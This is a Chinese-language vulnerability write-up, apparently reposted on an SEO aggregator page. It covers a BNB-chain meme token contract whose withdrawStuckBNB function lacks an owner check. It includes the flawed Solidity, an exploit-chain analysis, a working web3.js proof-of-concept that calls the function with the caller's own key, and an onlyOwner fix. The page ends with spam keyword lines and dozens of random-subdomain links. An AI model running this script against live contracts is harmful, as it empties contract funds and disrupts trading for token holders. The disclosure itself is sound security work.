当前位置: 首页 > wzjs >正文

网站历史记录怎么恢复自己的网站做怎样的优化调整

网站历史记录怎么恢复,自己的网站做怎样的优化调整,手机制作网页用什么软件,一个备案可以做几个网站1背景描述 合约是一个在满足特定条件时在区块链上执行代码的程序,各方以数字签署合同的方式准许并维护它的其运行。这些代码可以是向朋友汇款、买卖 NFT 虚拟商品等一系列复杂的内容。 存在漏洞的目标合约是一个结合Meme文化病毒式传播与去中心化金融(D…

1背景描述

合约是一个在满足特定条件时在区块链上执行代码的程序,各方以数字签署合同的方式准许并维护它的其运行。这些代码可以是向朋友汇款、买卖 NFT 虚拟商品等一系列复杂的内容。

 存在漏洞的目标合约是一个结合Meme文化病毒式传播与去中心化金融(DeFi)的创新项目,旨在通过趣味性和实用性打破传统Meme代币的模式。

该合约的代币目前市值1400K(USDT),日均交易量150K(USDT)

2问题描述

该合约“withdrawStuckBNB”函数没有添加权限控制,攻击者可以通过调用“withdrawStuckBNB”函数,将合约内所有BNB转至营销地址“marketingAddress”,从而导致合约交易异常。

 tips:

BNB是BNB链生态系统的原生代币,该系统包含BNB智能链(BSC)和BNB信标链。在BNB智能链上,BNB用于支付交易费用和参与网络的共识机制。BNB还被用作实用代币,使用户在Binance中心化加密货币交易所进行交易时获得交易费用的折扣。

BNB在这个合约中的作用包括:作为交易对的配对货币,用于支付交易手续费,流动性池的组成部分,以及手续费收入的分配媒介

3问题代码分析

图片

```solidityfunction withdrawStuckBNB() external {    bool success;    (success,) = address(marketingAddress).call{value: address(this).balance}("");}```

在合约代码里面可以看到,`withdrawStuckBNB` 没有添加onlyOwner修饰,只有external修饰

tips:

    Solidity语法中有4中默认函数修饰符

    - public:最大访问权限,任何人都可以调用。

    - private:只有合约内部可以调用,不可以被继承。

    - internal:子合约可以继承和调用。

    - external:外部可以调用,子合约可以继承和调用,当前合约不可以调用。

onlyOwner是该合约自定义一个修饰器,用于修饰函数,只有合约的所有者才能调用该函数。

图片

这就意味着任何人都可以调用这个函数,将合约内所有BNB转至营销地址,导致资金被盗。

4后续利用链分析

从问题代码可知,任何人都可以调用这个函数,将合约内所有BNB转至营销地址marketingAddress

查看marketingAddress的代码,marketingAddress是一个营销地址,更新marketingAddress的代码如下:

图片

可以看到,updateMarketingAddress函数存在onlyOwner修饰,只有owner可以调用这个函数,这就意味着只有owner可以更新marketingAddress的地址。所以利用链到此截止,攻击者只能调用withdrawStuckBNB将合约内的BNB转至marketingAddress,但是marketingAddress本身只能由owner更新,所以攻击者无法更新marketingAddress的地址,从而无法将BNB转至攻击者的地址,但是漏洞也能造成合约内BNB的清空,影响合约运行。

5构造POC

```javascriptconst Web3 = require('web3');// // 初始化 Web3 实例,这里使用测试网的地址,你可以根据实际情况修改const web3 = new Web3('https://data-seed-prebsc-1-s1.binance.org:8545');// const web3 = new Web3('https://bsc-dataseed4.binance.org/');
const contractABI = ["""换成完整ABI"""];const contractAddress = "0xaaaaa"; // 替换为目标合约地址const contract = new web3.eth.Contract(contractABI, contractAddress);console.log("connect success");
// 如果使用 Node.js,需要添加私钥const privateKey = '0xbbbbbbbbbbbbbb'; // 替换为你的私钥const account = web3.eth.accounts.privateKeyToAccount(privateKey);web3.eth.accounts.wallet.add(account);
async function withdrawBNB() {    try{        console.log(account.address);        const tx = {            from: account.address, // 必须使用真实地址            to: contractAddress,            gas: 300000,            data: contract.methods.withdrawStuckBNB().encodeABI()        };
        // 估算 gas        const gas = await web3.eth.estimateGas(tx);        tx.gas = gas;
        // 获取当前 gasPrice        const gasPrice = await web3.eth.getGasPrice();        tx.gasPrice = gasPrice;
        // 签名并发送交易(Node.js 方式)        const signedTx = await web3.eth.accounts.signTransaction(tx, privateKey);        const receipt = await web3.eth.sendSignedTransaction(signedTx.rawTransaction);
        console.log('Transaction Hash:', receipt.transactionHash);        console.log('Receipt:', receipt);    } catch (error) {        console.error("Error:", error);    }    console.log("2");}
withdrawBNB();console.log("3");```

6修复方案

在withdrawStuckBNB函数中添加onlyOwner修饰,只允许owner可以调用这个函数​​​​​​​

```solidityfunction withdrawStuckBNB() external onlyOwner {    (bool success,) = marketingAddress.call{value: address(this).balance}("");    require(success, "Transfer failed");}```

   该漏洞目前已向相关单位和厂商报送并已推出补丁,使用此漏洞造成的任何攻击影响均与本文作者无关。

原文链接


文章转载自:

http://UjNvmQkf.khLxd.cn
http://V1MB8MrG.khLxd.cn
http://9ucEycgq.khLxd.cn
http://gTBYf7zH.khLxd.cn
http://8Rnj6bK2.khLxd.cn
http://ASlzgNFC.khLxd.cn
http://Kuvrd23F.khLxd.cn
http://8cI01fyu.khLxd.cn
http://8HRWMaHH.khLxd.cn
http://TSs6NqWo.khLxd.cn
http://pEAeEorh.khLxd.cn
http://LFS5uguS.khLxd.cn
http://pBsFG5dp.khLxd.cn
http://aYqI845I.khLxd.cn
http://HUqwse9P.khLxd.cn
http://w7uhiuJu.khLxd.cn
http://jfE4VDw6.khLxd.cn
http://oBpPvEhX.khLxd.cn
http://LP9YdJXs.khLxd.cn
http://WAuJVMTf.khLxd.cn
http://W5JUWyRe.khLxd.cn
http://u8vr15P9.khLxd.cn
http://kVvTpzWh.khLxd.cn
http://iYoY1g5a.khLxd.cn
http://khXkn0q5.khLxd.cn
http://51OBT8pD.khLxd.cn
http://k32wO3uS.khLxd.cn
http://kEQRwOQt.khLxd.cn
http://HWys6841.khLxd.cn
http://j1G69pOA.khLxd.cn
http://www.dtcms.com/wzjs/717042.html

相关文章:

  • 层流病房建设单位网站商铺设计
  • 大连个人网站开发制作ui设计到底能不能学
  • 住房建设部官方网站命令微博网页版官网
  • 做网站网站庄家杭州百度推广网站建设
  • 北京网站优化怎么样做小程序要有网站吗
  • 智慧城市展厅设计公司优化网站制作公司好吗
  • 网站建设 公司新闻企业站seo外包
  • 网上课程网站建设方案仿站小工具官网
  • 靓号网站建设谷歌排名优化
  • 外贸网站推广策划网页制作的基础知识
  • 柘城网站建设狼人在线观看视频人在线
  • 好看好用的wordpress主题免费seo搜索优化
  • 企石镇网站建设优秀网站建设模板
  • 网站用小程序儿童网站模板 html
  • 学校网站建设的技术方案企业注册信息查询单
  • 做汽车导航仪在什么网站找客户怎么给餐饮店做网站
  • 伊春市住房和城乡建设局网站广西电力工程建设公司网站
  • 宜昌网站制作做暖暖小视频网站
  • 广州建站代运营公司有哪些wampserver和wordpress
  • 东莞品托网站建设中国制造网站上的聊天怎么做
  • 个人简历模板网站怎么注册公司邮箱账号
  • 智能小程序搭建顺昌网站建设wzjseo
  • 深圳外贸网站建设服务哪家好做笑话网站赚钱吗
  • 谷歌网站怎么做排名二手车网站开发多少钱
  • 机票售票网站开发在线网站建设询问报价
  • 什么是网站seo清溪仿做网站
  • 三河建设局网站长春模板建站公司
  • 陕西网站关键词自然排名优化做国外营销型网站
  • 怎样学做网站运营手机怎么做网站免费的
  • seo整站优化吧南昌建站推广公司